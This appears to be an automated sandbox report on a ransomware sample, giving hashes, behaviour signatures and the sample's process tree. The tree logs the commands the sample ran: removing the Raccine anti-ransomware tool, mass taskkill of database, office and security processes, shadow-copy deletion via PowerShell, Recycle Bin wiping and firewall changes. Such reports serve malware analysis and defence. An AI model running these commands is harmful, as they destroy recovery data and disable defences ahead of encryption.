Resubmissions

04-11-2021 15:34

211104-sz21psghe5 10

29-10-2021 15:29

211029-swzq6saccp 10

29-10-2021 07:07

211029-hxtanshefl 8

Analysis

  • max time kernel
    300s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-en-20211014
  • submitted
    04-11-2021 15:34

General

  • Target

    Worker-1.exe

  • Size

    385KB

  • MD5

    7677a593678d9c4552578fab18a27384

  • SHA1

    5c3b0d278df728c67122ac3ab7184c3f9ebfaa4f

  • SHA256

    2c6802679ce8ac5ed90bd25d25805e284c7dd5269f7805c68cc5fd965a0adc21

  • SHA512

    8bbce3eefabf7e7d900ba3fa0a42ca3be265425c8b5675e27839a1397d1653ae54e3abbd8a6b0b8ff7ab44d130afb1a81d04d57af42dc45e7227d676a335e082

Malware Config

Signatures

  • Disables Task Manager via registry modification
  • Downloads MZ/PE file
  • Downloads PsExec from SysInternals website 1 IoCs

    Sysinternals tools like PsExec are often leveraged maliciously by malware families due to being commonly used by testers/administrators.

  • Modifies Windows Firewall 1 TTPs
  • Modifies extensions of user files 13 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies WinLogon 2 TTPs 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Kills process with taskkill 58 IoCs
  • Modifies registry class 20 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 58 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Worker-1.exe
    "C:\Users\Admin\AppData\Local\Temp\Worker-1.exe"
    1⤵
    • Modifies extensions of user files
    • Enumerates connected drives
    • Modifies WinLogon
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:524
    • C:\Windows\SysWOW64\taskkill.exe
      "taskkill" /F /IM RaccineSettings.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1128
    • C:\Windows\SysWOW64\reg.exe
      "reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
      2⤵
        PID:956
      • C:\Windows\SysWOW64\reg.exe
        "reg" delete HKCU\Software\Raccine /F
        2⤵
        • Modifies registry key
        PID:1256
      • C:\Windows\SysWOW64\schtasks.exe
        "schtasks" /DELETE /TN "Raccine Rules Updater" /F
        2⤵
          PID:1120
        • C:\Windows\SysWOW64\netsh.exe
          "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
          2⤵
            PID:1212
          • C:\Windows\SysWOW64\sc.exe
            "sc.exe" config Dnscache start= auto
            2⤵
              PID:1268
            • C:\Windows\SysWOW64\sc.exe
              "sc.exe" config SQLTELEMETRY start= disabled
              2⤵
                PID:1920
              • C:\Windows\SysWOW64\sc.exe
                "sc.exe" config FDResPub start= auto
                2⤵
                  PID:1884
                • C:\Windows\SysWOW64\sc.exe
                  "sc.exe" config SSDPSRV start= auto
                  2⤵
                    PID:1732
                  • C:\Windows\SysWOW64\sc.exe
                    "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
                    2⤵
                      PID:572
                    • C:\Windows\SysWOW64\sc.exe
                      "sc.exe" config SstpSvc start= disabled
                      2⤵
                        PID:852
                      • C:\Windows\SysWOW64\sc.exe
                        "sc.exe" config SQLWriter start= disabled
                        2⤵
                          PID:980
                        • C:\Windows\SysWOW64\sc.exe
                          "sc.exe" config upnphost start= auto
                          2⤵
                            PID:1912
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM mspub.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1600
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM mspub.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2012
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM synctime.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1864
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM mydesktopqos.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:828
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM Ntrtscan.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1612
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM mysqld.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1720
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM isqlplussvc.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:904
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM mydesktopservice.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1920
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM sqbcoreservice.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:888
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM onenote.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1756
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM firefoxconfig.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1432
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM agntsvc.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:960
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM PccNTMon.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:812
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM excel.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1048
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM thebat.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1364
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM dbeng50.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1960
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM msaccess.exe /F
                            2⤵
                            • Kills process with taskkill
                            PID:1916
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM steam.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:396
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM CNTAoSMgr.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:916
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM thebat64.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1728
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM outlook.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1972
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM sqlwriter.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1884
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM ocomm.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1696
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM encsvc.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:432
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM tmlisten.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1476
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM tbirdconfig.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1596
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" IM thunderbird.exe /F
                            2⤵
                            • Kills process with taskkill
                            PID:1064
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM dbsnmp.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1168
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM msftesql.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:832
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM infopath.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1984
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM wordpad.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1900
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM mbamtray.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:752
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM xfssvccon.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1928
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM powerpnt.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1300
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM mysqld-opt.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1640
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM zoolz.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1832
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM ocautoupds.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1572
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM mydesktopqos.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1268
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM visio.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1836
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM ocssd.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:852
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM oracle.exe /F
                            2⤵
                            • Kills process with taskkill
                            PID:1916
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM mydesktopservice.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:832
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM sqlagent.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1476
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM winword.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1300
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM sqlbrowser.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1528
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM mysqld-nt.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:952
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM sqlservr.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1672
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM ragent.exe /f
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1432
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM sqld.exe /f
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:396
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM rmngr.exe /f
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1920
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM mysql.exe /f
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:904
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM mysqld.exe /f
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1076
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM rphost.exe /f
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:756
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM vmwp.exe /f
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1040
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM sql.exe /f
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1904
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM oracle.exe /f
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1720
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM 1cv8.exe /f
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1984
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
                            2⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1972
                          • C:\Windows\SysWOW64\netsh.exe
                            "netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
                            2⤵
                              PID:1464
                            • C:\Windows\SysWOW64\arp.exe
                              "arp" -a
                              2⤵
                                PID:1120
                              • C:\Windows\SysWOW64\cmd.exe
                                "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
                                2⤵
                                  PID:1520
                                • C:\Windows\SysWOW64\netsh.exe
                                  "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
                                  2⤵
                                    PID:752
                                  • C:\Windows\SysWOW64\netsh.exe
                                    "netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
                                    2⤵
                                      PID:1732
                                    • C:\Windows\SysWOW64\arp.exe
                                      "arp" -a
                                      2⤵
                                        PID:1640
                                      • C:\Windows\SysWOW64\notepad.exe
                                        "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\-Инструкция.txt
                                        2⤵
                                          PID:1292
                                        • C:\Windows\splwow64.exe
                                          C:\Windows\splwow64.exe 12288
                                          2⤵
                                          • Modifies registry class
                                          • Suspicious use of SetWindowsHookEx
                                          PID:1980

                                      Network

                                      MITRE ATT&CK Enterprise v6

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • memory/524-58-0x0000000004830000-0x0000000004831000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/524-55-0x0000000000E30000-0x0000000000E31000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/1212-97-0x0000000074F61000-0x0000000074F63000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/1972-125-0x0000000002390000-0x0000000002FDA000-memory.dmp

                                        Filesize

                                        12.3MB

                                      • memory/1972-126-0x0000000002390000-0x0000000002FDA000-memory.dmp

                                        Filesize

                                        12.3MB

                                      • memory/1972-127-0x0000000002390000-0x0000000002FDA000-memory.dmp

                                        Filesize

                                        12.3MB

                                      • memory/1980-132-0x000007FEFB831000-0x000007FEFB833000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/1980-133-0x00000000041D0000-0x00000000041D1000-memory.dmp

                                        Filesize

                                        4KB